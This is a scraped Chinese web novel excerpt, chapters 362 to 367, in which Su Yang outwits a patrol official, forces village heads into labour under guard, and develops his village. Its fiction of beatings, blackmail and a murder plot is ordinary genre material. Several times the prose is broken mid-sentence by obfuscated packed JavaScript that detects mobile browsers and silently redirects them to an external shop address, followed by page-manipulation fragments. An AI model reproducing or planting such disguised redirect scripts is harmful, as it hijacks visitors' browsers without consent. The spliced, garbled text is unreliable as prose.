“几位,时候不早了,我就先告辞了。”苏阳笑眯眯地拱了拱手,转身离开了房间。 留下几个村正,面面相觑,不知所措。“不行。” 严明德黑着脸,斩钉截铁地否决了苏阳的提议,像是被踩了尾巴的猫。 他心里的小九九,早就被苏阳摸透了: 其他村子都得出粮,凭啥你青龙村就想吃白食?没门! 几个村正,你们倒是放个屁啊!平时不是挺能耐的吗? 可让严明德大跌眼镜的是,平日里咋咋呼呼的村正们,今天像是集体吃了哑药,一个比一个安静,全都没了动静。 原先有他这个巡检撑腰,几个村正还能狗仗人势,跟苏阳叫板几声。 可现在他先服软了,几个村正更是像霜打的茄子,彻底蔫了。 一个个眼观鼻,鼻观心,恨不得在地上挖个洞钻进去。 至于严明德心心念念的五十名乡勇和五十石粮食? 呵呵,以后再说吧,反正我是不急,看谁耗得过谁。 一时间,屋子里的气氛,凝固得像是能滴出水来。 严明德不说话,那些村长全都装起了哑巴,仿佛在比赛谁更能憋气。 只有苏阳,老神在在地端着茶碗,轻轻地吹着热气,还时不时地抿上一小口,发出轻微的“嗞”的一声。 这副稳如泰山的架势,让几个村正心里更慌了,一个个汗如雨下,像是刚从水里捞出来一样。 尤其是王麻山,感觉脑瓜子嗡嗡的,心跳得像打鼓,后背湿了一大片。 完了完了,苏二这小子八成是要拿我开刀了!他那小眼神,跟小刀子似的,嗖嗖地往我身上扎! 清水村的村正乜明生,肠子都悔青了,一张老脸比苦瓜还苦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702577|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 自从上次领教了苏阳的手段,他就发誓,以后见了苏阳绕着走,绝不正面冲突。 可今天也不知道是中了什么邪,鬼使神差地,看到有人挑头,就稀里糊涂地跟着起哄。 这下可好,苏阳那眼神,时不时地就往自己这边扫,分明是没安好心。 “我真是猪油蒙了心啊!”乜明生恨不得给自己来俩大耳刮子,心里把自己的祖宗十八代都问候了一遍。 依山村的夏岭,狠狠地拧了一把自己的大腿,钻心的疼让他忍不住咧了咧嘴。 叫你嘴贱!叫你多事! 明知道苏二不好惹,还非要往前凑! 这下好了,偷鸡不成蚀把米了吧? 而挑起事端的仲河,此时也是如坐针毡,额头上豆大的汗珠滚滚而下。 他原本以为,有严明德撑腰,他们几个村正联合起来,怎么也能让苏阳大出血。 可谁能想到,苏阳这小子竟然这么难搞! 不仅三下五除二就化解了危机,还反过来把严明德给架住了,让他进退两难。 现在可好,严明德自身难保,他们几个村正反而成了重点关注对象。 “这苏二,真**邪门!”仲河心里暗骂,却又一点办法都没有。 眼看所有人都没了声息,严明德也意识到,自己这一步棋算是走废了,再这么下去更被动。 继续这么搞肯定要完,再这么耗下去,自己的脸面可就全丢光了,还怎么服众? “咳咳……” 严明德清了清嗓子,准备补救一下,他勉强挤出一丝笑容,干巴巴地说道: “苏副巡检,我看这样吧,既然青龙村的乡勇这么厉害,不如就多出点力,凑个一百名乡勇如何?多出的五十人,就当是抵消那五十石粮食了,怎么样?” 严明德这话,看似大方,实则是想用人头来换粮食,变着法子让青龙村吃亏。 这样既能给其他村正一个交代,又能让青龙村出点血,一举两得。 可他没想到的是,苏阳根本就不吃他这一套。 苏阳“噌”的一下站了起来,动作太大,椅子都差点被带倒。 他这突如其来的动作,把在场的人都吓了一跳。 “严巡检,您真是太为我们青龙村着想了! 第三百六十二章 为了报答您,我决定单干!” “剿匪这事,我们青龙村包圆了!” 苏阳这话一出,几个村正差点没惊掉下巴,一个个眼珠子瞪得溜圆,像是不认识苏阳一样。 “不用您费心,也不用几位村正帮忙!您就瞧好吧!”苏阳拍着胸脯,信誓旦旦地保证。 “我……” 严明德被噎得差点背过气去,张着嘴,半天说不出一个字。 苏阳这小子,怎么就不按常理出牌呢? 他三番两次主动要求剿匪,自己要再不同意,那就真是强人所难了,非把这些村正都逼到苏阳那边去不可。 “苏副巡检,这可不是儿戏!” 严明德脸色一沉,语气也严厉起来,试图给苏阳施压,摆出官架子。 “要是剿匪失败,你可担待得起?” 谁知,苏阳压根就不接招,反而顺着他的话往下说: “哎呀,严巡检,您说得对!我这人就是冲动,考虑不周。” 他话锋一转: “这样吧,剿匪这事,还是您亲自带队吧,您经验老到,肯定能旗开得胜!” “……” 严明德的脸色,瞬间变得五颜六色,像是打翻了调色盘。 他原本是想吓唬吓唬苏阳,让他知难而退,顺便立个军令状。 可没想到,苏阳这小子滑不留手,甩锅又甩回来了,让他下不来台。 几个村正一看这情形,心里对严明德更是不满了。 人家苏二主动请缨,你推三阻四。 非要拉着我们一起垫背,你安的什么心? 几个村正心里明镜似的,早就看透了严明德的为人,知道跟他混没好果子吃。 严明德也感受到了几个村正的敌意,心里哇凉哇凉的。 “完了,今天这事算是彻底搞砸了!” 他心里后悔不迭,可好端端的一盘棋,事情怎么变得这么离谱? 严明德紧皱眉头,拼命地回忆着整个过程,突然间,一个可怕的念头在他脑海中闪过: “难道……这帮家伙从一开始就在算计我?” 他越想越觉得可疑,冷汗都下来了。 没准这几个村正和苏阳,早就串通一气,给自己下了个套! 好啊,你们这帮刁民,竟敢合起伙来坑我! 此刻他已经被逼到绝路: 一是答应苏阳,让他自己去剿匪,落个清闲。 可这样一来,自己的面子往哪搁?以后还怎么在这些村正面前抬得起头? 二是自己亲自带队,带着所有村子的乡勇一起去剿匪。 可那样风险太大,万一出了什么事,可没人替他担责任。 尤其想到自己前任不明不白的死,严明德更是心惊肉跳。 “不行!绝不能拿自己的小命开玩笑!” 严明德心里打定了主意,与其冒险,不如装怂。 他深吸一口气,强压下心头的慌乱,换上一副严肃的面孔,沉声说道: “剿匪之事,事关重大,不能草率决定。” 几个村正都傻眼了,一个个大眼瞪小眼,不明白严明德这是闹哪样。 说好的剿匪呢? 怎么突然就变卦了? 难道是想耍我们玩? 苏阳也有些摸不着头脑,不知道严明德这葫芦里卖的什么药。 不过,严明德想就这么算了,苏阳可不答应。 这可是个练兵的好机会,怎么能轻易放过? “严巡检,您这话可不对!” 苏阳立刻反驳,语气坚定: “土匪不除,百姓难安!咱们当官的,可不能只顾着自己,不管老百姓的死活!” “这样吧,您就发个话,我率领青龙村的民兵去打土匪,保证完成任务,让大家过个安稳年!”严明德最终还是没敢给苏阳签发剿匪的手令。 他在心里权衡,这愣头青苏阳,万一真剿起匪来,不按套路出牌,搞出什么幺蛾子,自己这巡检之位怕是也坐到头了。 清阳县这地方,土匪猖獗,可不仅仅是因为官府无能,实在是……水太深! 别人不清楚,他严明德还能不知道?自家顶头上司郑县尉,就私底下养着一帮土匪,专门替他干那些见不得人的脏活! 那些家伙,烧杀抢掠,无恶不作,在清阳县闹出的动静极大。 可每次官府装模作样地派兵剿匪,结果呢?人家总能提前得到风声,**都能全身而退,银子赚得盆满钵满,那日子过得叫一个滋润! 苏阳要是真带人去剿匪,万一不小心动了哪个权贵的“生意”,坏了规矩,别说苏阳这个愣头青,就是他严明德也得跟着一起遭殃!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊,苏巡检,您看这大冷天的……” 几人还想推脱,苏阳脸色一沉:“怎么,不给面子? 第三百六十三章 ” 话音未落,路旭东几人已经围了上来。 “几位老爷,请吧!”路旭东皮笑肉不笑地做了个“请”的手势。 几个村正顿时脸色煞白。他们哪还不明白,这哪是请客,分明是…… “苏巡检,我们去,我们去还不成吗?”周村正连忙改口,生怕慢了一步,就被路旭东“请”走了。 开玩笑,跟你去青龙村?不去更待何时! 几个村正心里虽然一百个不愿意,可形势比人强,也只能乖乖跟着苏阳走。 王麻山吓得腿都软了,差点没一屁股坐在地上。他心里那个悔啊。 “哎,早知道这小子这么邪门,打死我也不跟他作对啊!” 他一路都在念叨这几句话。 几个村正也带了帮闲,可惜慢了一步,还没回过神来,自家老爷就已经被“请”走了。 这些帮闲哪见过这阵势,平日里欺负欺负老百姓还行,真要让他们面对一群敢玩命的小子,一个个顿时都怂了,只能干瞪眼。 苏阳也不想把事情闹大,他让人把几个村正的帮闲打发回去报信,就说几位老爷在青龙村做客,让家里人不用担心。 就这样,苏阳带着一群村正,大摇大摆地离开了三溪镇。 严明德派来盯梢的人远远看见这一幕,赶紧跑回巡检司报告。 他只看到苏阳和几个村正有说有笑,根本不知道发生了什么。 所以,严明德得到的消息完全是张冠李戴。 “好啊!好得很!” 严明德一拍桌子,怒极反笑:“这帮泥腿子,竟然还跟我玩心眼!” “他们以为装模作样地跟苏阳唱反调,我就信了?” “还好爷机智,不然还真被他们给骗了!” 严明德越想越气,觉得自己被一群乡下的泥腿子给耍了,简直是奇耻大辱。 一群村长都开着车过来,苏阳这回也没再玩什么滑冰,带着他们走陆路回青龙村。 几个村正起初还慌得一批,生怕苏阳把他们怎么样。 可坐了一会儿车,见苏阳并没有什么过激的举动,反倒渐渐踏实下来了。 “不就是想吓唬吓唬我们吗?有什么了不起的。” “就是,等回去了,看我怎么收拾他!” 几个村正在心里暗暗发狠。 不过,王麻山心里却始终七上八下的,没法淡定。 他太了解苏阳了,这小子可不是什么善茬! 可惜,现在说什么都晚了,只好见招拆招了,听天由命了! 刚踏入青龙村地界,苏阳就让手下把几个村正从车上拽了下来。 “石头,带他们去厂区,让他们体验劳动改造!一群不知民间疾苦的老东西,让他们知道知道,什么叫粒粒皆辛苦!” 几个村正猝不及防,被摔了个狗啃屎。 “哎呦!” “疼死我了!” “苏二,你……你敢!” 几个村正挣扎着爬起来,破口大骂。 不等他们骂完,陈木生已经带着人,把他们押到了卧龙沟北岸的厂区。 一过青龙桥,一群村长当场懵逼了。 只见眼前热火朝天,人声鼎沸,一眼望不到头的厂区上,到处都是忙碌的身影,比过年赶集还热闹。 这么大的场面,他们别说参与了,以前连见都没见过! 有光着膀子,嘿呦嘿呦搬石头修水坝的;有挥舞鞭子,吭哧吭哧赶牛犁地的;有站在新盖的房子前,齐心协力上梁的;有满头大汗,奋力打砖坯的…… 最让这帮村长抓狂的是,苏阳不是让他们来参观,而是让他们也加入其中! 陈木生早就得了苏阳的吩咐,让人给这几位村正安排活计。 “你们几个,去那边,把那些土坯搬到窑里去!” “你,还有你,去那边,把那些石头给我砸碎了!” “还有你,去那边,把那些土给我和成泥!” 几个村正平日里养尊处优,哪里干过这种粗活? 一个个叫苦不迭,却又不敢反抗。 陈木生特意安排了两个监工,手里拿着鞭子,专门伺候这几位“贵客”。 谁敢偷懒,直接一鞭子就抽过去了,火辣辣的疼! 几个村正这才知道,苏阳这是动真格的了! 他们想跑,可两条腿哪里跑得过陈木生手下那帮小子? 没跑几步,就被抓了回来,一顿拳打脚踢,打得他们鼻青脸肿,再也不敢动逃跑的念头了。 几个村正这才明白,什么叫“粒粒皆辛苦”,什么叫“劳动改造”! 这哪是劳动改造,分明是活受罪!几个村正原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16706630|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本还算壮实的身板,哪里吃得消打砖坯这种重体力活? 没一会儿,就一个个累得跟死狗一样,汗珠子吧嗒吧嗒往下掉,身上那件还算体面的长衫,早就被汗水浸透,黏糊糊地贴在身上,别提多难受了。 但这还不是最要命的。 要命的是什么? 是面子! 熙熙攘攘的厂区上,可不光只有青龙村的村民。 周围几个村子的人,听说青龙村招工,待遇好,也都纷纷赶来。这里面,自然少不了这几个村正治下的村民。 平日里,他们对这些村正老爷,哪个不是毕恭毕敬,大气都不敢喘一声? 现在倒好,这几个老家伙,居然在自己眼皮子底下干这种粗活,这让他们的老脸往哪儿搁? “**,这叫什么事儿啊!” 一个村正终于忍不住,低声咒骂了一句,声音里充满了憋屈和恼火。 旁边一个村正用胳膊肘碰了碰他,示意他小点声: “你不要命了?还嫌监工的鞭子不够狠?” “呸!” 先头那个村正狠狠地往地上吐了口唾沫,却不敢再大声抱怨,只是这一下用力过猛,牵动了酸痛的腰,疼得他龇牙咧嘴,额头上又冒出一层细密的汗珠。 “我说,咱们就这么认栽了?” 另一个村正压低声音,不甘心地问道。 “不认栽又能咋样?你没看见那些监工,一个个凶神恶煞的,咱们跑得过他们?” “可……可这要是传回村里,咱们以后还怎么做人?” “唉,走一步看一步吧,总不能真让苏二给弄死……” 几个村正一边干活,一边低声嘀咕,言语中充满了无奈和绝望。 苏阳把几个村正扔到厂区,就没再多管。 他相信陈木生会“照顾”好这几个老家伙。 几个村正的出现,在厂区上引起了不小的骚动。 青龙村的村民还好,毕竟已经习惯了苏阳的种种“壮举”。 可那些外村来的帮工,一个个都惊掉了下巴。 “快看快看,那几个不是……不是陈家村、刘家村、赵家村的村正老爷吗?” 一个眼尖的帮工,指着远处几个正在吃力地搬运砖坯的身影,惊呼道。 “啥?村正老爷?你没看错吧? 第三百六十四章 ” “怎么可能看错?我以前还给孔村正家修过房子呢!” “天爷啊,这到底是怎么回事?村正老爷怎么会来这里干活?” “谁知道呢,估计是得罪了哪位大人物吧……” “嘘,小点声,别乱说话,小心惹祸上身!” 众人议论纷纷,各种猜测都有,但谁也不敢上前去问个究竟。 毕竟,村正在他们心中,还是有着很强的威慑力。 直到有人看到监工毫不留情地挥舞着鞭子,抽打在几个村正身上,他们这才隐约明白了什么。 “看样子,这几个村正老爷,是真的栽了……” “栽到谁手里了?” “还能有谁?肯定是咱们这位苏巡检呗!” “苏巡检?他……他真敢对村正老爷动手?” “这有什么不敢的?你忘了,前几天他还把周麻子给抓起来了呢!” “嘶……这么说,咱们这位苏巡检,还真不是个好惹的主儿……” “废话!没点本事,能让这么多村正老爷乖乖来这儿干活?” 众人一边干活,一边小声议论,看向苏阳的眼神中,除了敬佩,又多了一丝畏惧。 不过,对于苏阳能“收拾”这几个平日里作威作福的村正,大多数人还是乐见其成的。 毕竟,谁也不喜欢被人压在头上。 尤其是那些外村来的帮工,他们中的许多人,都或多或少地受过村正的气,现在看到这些村正老爷倒霉,心里别提多痛快了。 “苏巡检真是太厉害了,连村正都敢收拾,真是给我们出了口恶气!” “是啊,以后看谁还敢欺负咱们!” “以后咱们就跟着苏巡检干,肯定错不了!” 一时间,苏阳在帮工们心中的地位,又提升了一大截。 大家干活也更卖力了,似乎要把对村正的不满,全都发泄到手中的活计上。 这种变化,让几个村正更加郁闷。 他们发现,这帮泥腿子,给苏阳干活的时候,一个个都跟打了鸡血似的,干劲十足。 可回想起以前给自己干活的时候,一个个都磨磨蹭蹭,偷奸耍滑,简直是天壤之别! “这帮刁民,真是气死老子了!” 一个村正忍不住低声咒骂。 “行了,少说两句吧,省点力气干活吧!” 另一个村正劝道,语气中充满了无奈。 让他们更加难以接受的是,苏阳给这些帮工的待遇,好得简直让他们嫉妒! “一天三顿饭,顿顿有肉?这……这比我们过年吃的都好啊!” 一个村正看着帮工们吃的饭菜,眼睛都红了。 “还有粮食!一天两升!这……这得多少钱啊!” 另一个村正更是心疼得直抽抽。 “苏二这小子,简直就是个败家子!这么好的粮食,都让这帮泥腿子给糟蹋了!” “等着吧,他这么搞,迟早要散尽家财!” 几个村正一边干活,一边在心里诅咒着苏阳,希望他早点破产。 …… 清阳县,郑县尉的书房里。 郑县尉坐在太师椅上,手里把玩着一串佛珠,脸色阴沉得可怕。 他面前的桌子上,摆着一封信,信封已经被拆开,信纸上写满了字。 这封信,是今天早上,一个仆人在打扫院子的时候捡到的。 信封上没有署名,只写了“郑县尉亲启”几个字。 郑县尉打开信一看,发现竟然是青龙村的苏阳写给他的。 信的内容不多,郑县尉却来来**看了好几遍,越看越是恼火。 信中,苏阳先是客套了几句,然后话锋一转,竟然提到了郑县尉和青虎岭土匪勾结的事情! 更让郑县尉气愤的是,苏阳竟然以此为要挟,要求郑县尉帮他升任三溪镇巡检,并且还要郑县尉再给他送去一万两银子! “岂有此理!简直是岂有此理!” 郑县尉猛地一拍桌子,茶杯盖子都被震得跳了起来,发出“当啷”一声脆响。 “好你个苏阳,胆敢挑衅大人,看来是想找**!” 他咬牙切齿地说道,眼中闪过一丝狠厉。 这封信,就像是一根**,彻底点燃了郑县尉心中的怒火。 他原本就对苏阳没什么好感,现在更是恨不得将他**万段! 不过,郑县尉毕竟是老奸巨猾,他很快就冷静了下来。 他知道,苏阳既然敢写这封信,肯定是有所依仗。 这封信,有可能是苏阳自己写的,也有可能是别人栽赃陷害。 但不管是哪种情况,对郑县尉来说,都是一个巨大的威胁。 如果这封信的内容泄露出去,他的仕途可就全完了! “看来,得想个办法,把这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16706631|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏阳给除掉……” 郑县尉眯起了眼睛,心中开始盘算起来。 他知道,苏阳是李县令任命的副巡检,自己不能明目张胆地对他下手。 否则,一旦被李县令抓住把柄,后果不堪设想。 “看来,只能暗中动手了……” 郑县尉的眼中闪过一丝阴狠。 他决定,要让苏阳神不知鬼不觉地从这个世界上消失! 而且,就算这信不是苏阳写的,郑县尉也不会放过任何一个与此事有关的疑点。 如果送信人是苏阳的仇家,那更简单了。 只要抓到苏阳,严刑拷打,不怕他不招! 至于苏阳是不是被冤枉的…… 哼,谁在乎呢? 挡了别人的路,就得有被人踩死的觉悟! 郑县尉摸了摸下巴上的胡须,嘴角露出一丝冷笑。 他已经有了一个计划,一个既能除掉苏阳,又能把自己摘得干干净净的计划……鞭炮炸响,震耳欲聋。 噼里啪啦的响声,像是要把整个卧龙沟都给掀翻。 今天,苏阳的土窑要出第一批砖。 意义重大。 所以苏阳来了,亲自主持开窑。 不仅他来了,青龙村但凡能动弹的村民,有一个算一个,全挤到了窑口。 一个个伸长了脖子,比自家婆娘生娃还紧张。 这可是青龙村有史以来头一回放鞭炮! 大元朝其他地方? 哼,过年能烧几根爆竹就不错了! 跟这震天响的鞭炮比? 提鞋都不配! 骄傲! 自豪! 青龙村的村民们,只觉得腰杆都挺直了几分,再看那些外村来的帮工,眼神里都带着一丝城里人看乡巴佬的优越。 这心态,苏阳门儿清。 后世那些大城市的人,哪个不是眼高于顶,看谁都像刚进城的土包子? 何况这些没见过世面的古人。 鞭炮放完了,硝烟弥漫。 几个经验老道的窑匠,深吸一口气,脸上是从未有过的严肃。 “开窑!” 一声令下,窑门缓缓打开。 这动作,比以往哪次都庄重,像是……在迎接什么神圣的东西。 窑里的火早就熄了,十几个帮工正轮番上阵,一桶桶凉水不要钱似的往窑顶上泼。 第三百六十五章 水雾蒸腾,热浪滚滚。 可即便这样,砖也取不出来。 窑里温度太高,人根本进不去。 几个窑匠交换了一下眼神,其中一个咬了咬牙: “西家,要不……咱几个进去看看?总得先给您拿几块砖出来,图个吉利!” 苏阳一听,眼睛都瞪圆了。 “胡闹!” 他一把拽住那窑匠,指着他的鼻子就骂: “都给老子站这儿!谁让你们进去的?嫌命长了是吧?” 苏阳喘着粗气,胸口剧烈起伏。 “老子是来开窑的,不是来要你们命的!” 他越说越气,忍不住又吼了一句: “这都跟谁学的臭毛病?啊?!” 他心里清楚,这毛病哪是跟别人学的,分明是老祖宗传下来的。 一想到这,苏阳更烦了。 新砖是看不成了。 他摆了摆手,示意窑匠们先别轻举妄动,等窑温降下来再说。 “走,去看看上梁。” 苏阳转身就走,步子迈得飞快。 自从招了更多帮工,几个厂区同时开工,进度快了不少。 新房这边,地基、围墙都已经完工,今天上梁。 几个匠人站在屋里,手里拿着几个杂粮饼。 为首的老匠人把饼掰碎,嘴里念念有词,无非是些祈求平安顺利的吉祥话。 念叨完,他使了个眼色。 几个匠人同时扬手,把碎饼子从四个方向隔墙扔了出去。 “汪!汪汪汪!” 外头早就等着的几条土狗,一见有吃的,立刻扑上去疯抢。 “上梁喽!大吉大利!” 老匠人扯着嗓子喊了一句,然后招呼帮工们开始干活。 一根粗大的房梁,在众人的吆喝声中,缓缓升起,稳稳地落在了墙头上。 接下来,就是架檩条、椽子,铺屋顶,盖瓦片…… 这些,苏阳小时候都见过,并不觉得稀奇。 他对房子的质量挺满意,可对这速度…… 还是慢! 太慢了! 跟蜗牛爬似的! 想当初在后世,那高楼大厦,哪个不是蹭蹭蹭地往上蹿? 跟这儿一比,简直…… 苏阳捏紧了拳头。 不行,等过了年,必须再招人,加把劲儿干! 他大步流星地离开厂区,心里盘算着接下来的计划。先去田里看看。 刚走到田边,苏阳就停下了脚步。 入眼所见,是几十头耕牛在田里来回穿梭,身后拖着…… 苏阳定睛一看,差点没把眼珠子瞪出来。 那犁,黑黢黢的,笨重得很,牛拉着费劲,人扶着也吃力。 “这都啥玩意儿!” 苏阳忍不住爆了粗口。 他三步并作两步冲到一个老农跟前,指着那犁就问: “老乡,这犁……谁做的?” 老农被他问得一愣,憨憨地笑了笑: “西家,这是祖上传下来的,一直都这么用……” 祖上传下来的? 苏阳一听,更来气了。 他可是学过农业发展史的! 这犁,根本就不是最优解! 他记得清清楚楚,有一种叫曲辕犁的,比这玩意儿强百倍! 可问题是,这曲辕犁长啥样来着? 苏阳挠了挠头,一时半会儿竟想不起来了。 他只记得个大概,具体构造……一片模糊。 “不成,我得回去好好想想!” 苏阳嘟囔着,转身就往回走。 边走,他边在脑子里搜寻着记忆。 曲辕犁……曲辕犁…… 到底长啥样啊! 他记得,那犁好像是可以调节深浅的…… 对了! 好像还有个什么犁盘…… 苏阳猛地一拍大腿! 想起来一点了! 可还不够…… 他急得抓耳挠腮,恨不得把脑袋撬开,把那些知识都给抠出来。 就在这时,他突然看到几个工匠正在河边忙活。 他们在干什么? 苏阳好奇地走了过去。 只见几个工匠正围着一堆木头和大石头,比比划划。 “你们这是……在修堤坝?” 苏阳问道。 一个工匠头头模样的人,连忙点头哈腰: “西家,咱正琢磨着怎么把这堤坝修得更结实些。” 更结实些? 苏阳眼睛一亮。 他指着那些木头和石头,问道: “你们打算怎么修?” 工匠头头挠了挠头,憨憨地笑了笑: “西家,咱也没啥好法子,就是照着老祖宗传下来的法子,用木桩打底,石头垒墙,再用灰土填缝……” 老祖宗传下来的法子? 苏阳眉头一皱。 这法子,能行吗? 他倒不是不相信古人的智慧,只是觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坏了,西家该不会以为我们偷懒,故意拖延时间吧?得赶紧表个态! “东……西家!”陈木匠“扑通”一声跪在地上,声音都有些颤抖,“小的们虽说没啥本事,就是一群臭木匠,但良心还是有的!老天爷在上头看着呢,俺们要是敢偷奸耍滑,就让俺们天打五雷轰,不得好死… 第三百六十六章 …” 其他几个木匠也跟着“呼啦啦”跪了一地,七嘴八舌地发着毒誓,一个比一个赌咒的狠。 苏阳被这突如其来的阵仗给吓了一跳,看着眼前这几个突然间就“戏精”附体的木匠,一时间竟不知道该说些什么。 这都啥年代了,咋还兴这个? 后世人的思维和这些淳朴的古人终究是不同的。不过,苏阳毕竟脑子转得快,很快就回过味来——这几个木匠是怕自己误会他们消极怠工,这才急着表忠心呢。 “哎,我说你们几个,都想哪儿去了!”苏阳哭笑不得地摇了摇头,想要解释,可话到嘴边又咽了回去。跟这些实心眼儿的家伙,怕是越解释越乱,还不如直接点儿呢。 “算了算了,多说无益,各位大佬请跟上。” 苏阳索性不再废话,转身就走。 师傅们懵圈了,互相交换着惊疑不定的眼神,战战兢兢地跟在苏阳身后。 完了,完了,西家这是要结工钱,不要俺们了? 一路提心吊胆地来到苏阳家,刚一进院子,就见苏阳从屋里拿出纸笔,伏在院里的石桌上,开始画了起来。 几个木匠好奇地凑过去,伸长脖子,想看看西家到底在画什么稀奇玩意儿。 没多会儿,一张他们从未见过的图纸,就出现在眼前。 苏阳指着图纸,对几个木匠细细解释。原来,他是打算利用卧龙沟现成的地形,在那座独木桥上做文章。把独木桥加固,作为承重的横梁,再在上面安装一套滑轮装置,这样就能把沉重的木头、石头轻松地吊运到需要的位置,省时又省力。 这几个木匠虽然是乡野村夫,但手艺活儿上的门道,他们一点就透。刚开始还有些苏里雾里,可听苏阳这么一讲解,一个个顿时就跟打开了新世界的大门似的,眼睛瞪得溜圆,嘴巴张得老麻,脸上露出难以置信的神情。 “东……西家,这……这真是……神了!”陈木匠激动得话都说不利索了,看着苏阳的眼神,就跟看活神仙没啥两样。 他们这些木匠,平日里干活都是靠一身蛮力,肩扛手提,啥时候见过这等精巧的玩意儿?这简直就不是凡人能想出来的! 苏阳看着他们那副没见过世面的样子,心里那叫一个得意,却故作淡定地摆了摆手,打断了他们即将出口的马屁:“行了,都别愣着了,赶紧去做吧。对了,这滑轮最好用铁的,再抹上油,这样更滑溜,能用得更久。你们去找凌木匠,让他帮帮忙,打几个结实的铁滑轮。” 几个木匠如梦初醒,小心翼翼地接过图纸,乐颠颠地走了,仿佛捧着一件稀世珍宝。 苏阳看着他们的背影,长舒了一口气,心说这下总算能消停一会儿了。可还没等他坐下喝口水,那几个木匠竟然又去而复返,一个个脸上都写满了郑重。 “嗯?咋的了这是?还有啥事?”苏阳有些诧异地问道。 话音刚落,就见几个木匠“扑通”一声,齐刷刷地跪在了苏阳面前。 苏阳一愣,心说这帮人咋还跪上瘾了? 陈木匠代表大伙儿开口,语气那叫一个诚恳,那叫一个斩钉截铁:“西家,您把这‘仙家宝贝’的图纸给俺们看,那是对俺们的信任!俺们几个要是敢把这图纸上的东西泄露出去半个字,就让俺们遭天谴,**!” 其他几个木匠也纷纷跟着表态,一个个信誓旦旦,唾沫阳子乱飞,就差指天发誓了。 听着这些慷慨激昂的誓言,苏阳无奈地笑了笑。他知道,对于现代人来说,这种设计或许不算什么,但对这些没见过世面的古代工匠来说,这无异于“黑科技”,这事根本藏不住。 但是,看着眼前这几个信誓旦旦、恨不得把心掏出来给他看的木匠,苏阳又不忍心戳破他们的幻想。 “罢了罢了,你们的心意我领了。”苏阳摆了摆手,没有再多说什么。 他知道,自己要操心的事情还有很多,没必要在这种小事上纠结。 打发走了几个千恩万谢、感激涕零的木匠,苏阳还没来得及喘口气,王婶就扭着她那保养得当的腰肢,款款走了进来。 “阳哥儿啊,最近这粮食消耗得可有点儿快啊!照这么个吃法,咱家的存粮怕是撑不到明年开春了!”王婶一进门就直奔主题,语气中带着几分担忧和焦虑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“苏大哥,书院里的孩子越来越多了,地方实在是不够用啊!”钱晓柔忧心忡忡地说。 “就是就是,孩子们都挤成一团了,连转个身都费劲!”翠环也在一旁帮腔。 “还有啊,苏大哥,你啥时候再给咱找几个教书先生来啊? 第三百六十七章 我和晓柔姐两个人,实在是忙不过来了!” “书本也不够用,孩子们都抢着看呢!” …… 苏阳被她们俩你一言我一语地“**”,只觉得脑瓜子嗡嗡的。 他连忙抬手打断了她们的话:“停停停!你们先别急,听我说!” “这事儿我早就想过了。等过完年,咱们就盖一座新的、更大的书院!到时候,我再给你们请几个有真才实学的先生来,你们俩不就轻松了嘛!” 苏阳本想用“缓兵之计”,先稳住这两个丫头,谁知他话音未落,翠环就“噌”地一下跳了起来,指着苏阳的鼻子,气呼呼地说道:“好啊你个苏阳!我就知道你没安好心!你是不是想等新书院盖好了,新先生请来了,就把我们俩给一脚踢开?你个过河拆桥的白眼狼!” 苏阳:“……”苏阳最近发现了一件有意思的事情。 钱晓柔和翠环这两个小丫头,对教书这事儿的态度,来了个一百八十度大转弯。 一开始,俩人成天把“不乐意”挂在脸上,生怕被拉去当教书先生。 现在呢? 苏阳眯缝起眼睛,目光在翠环身上来回打转,心里跟明镜似的。 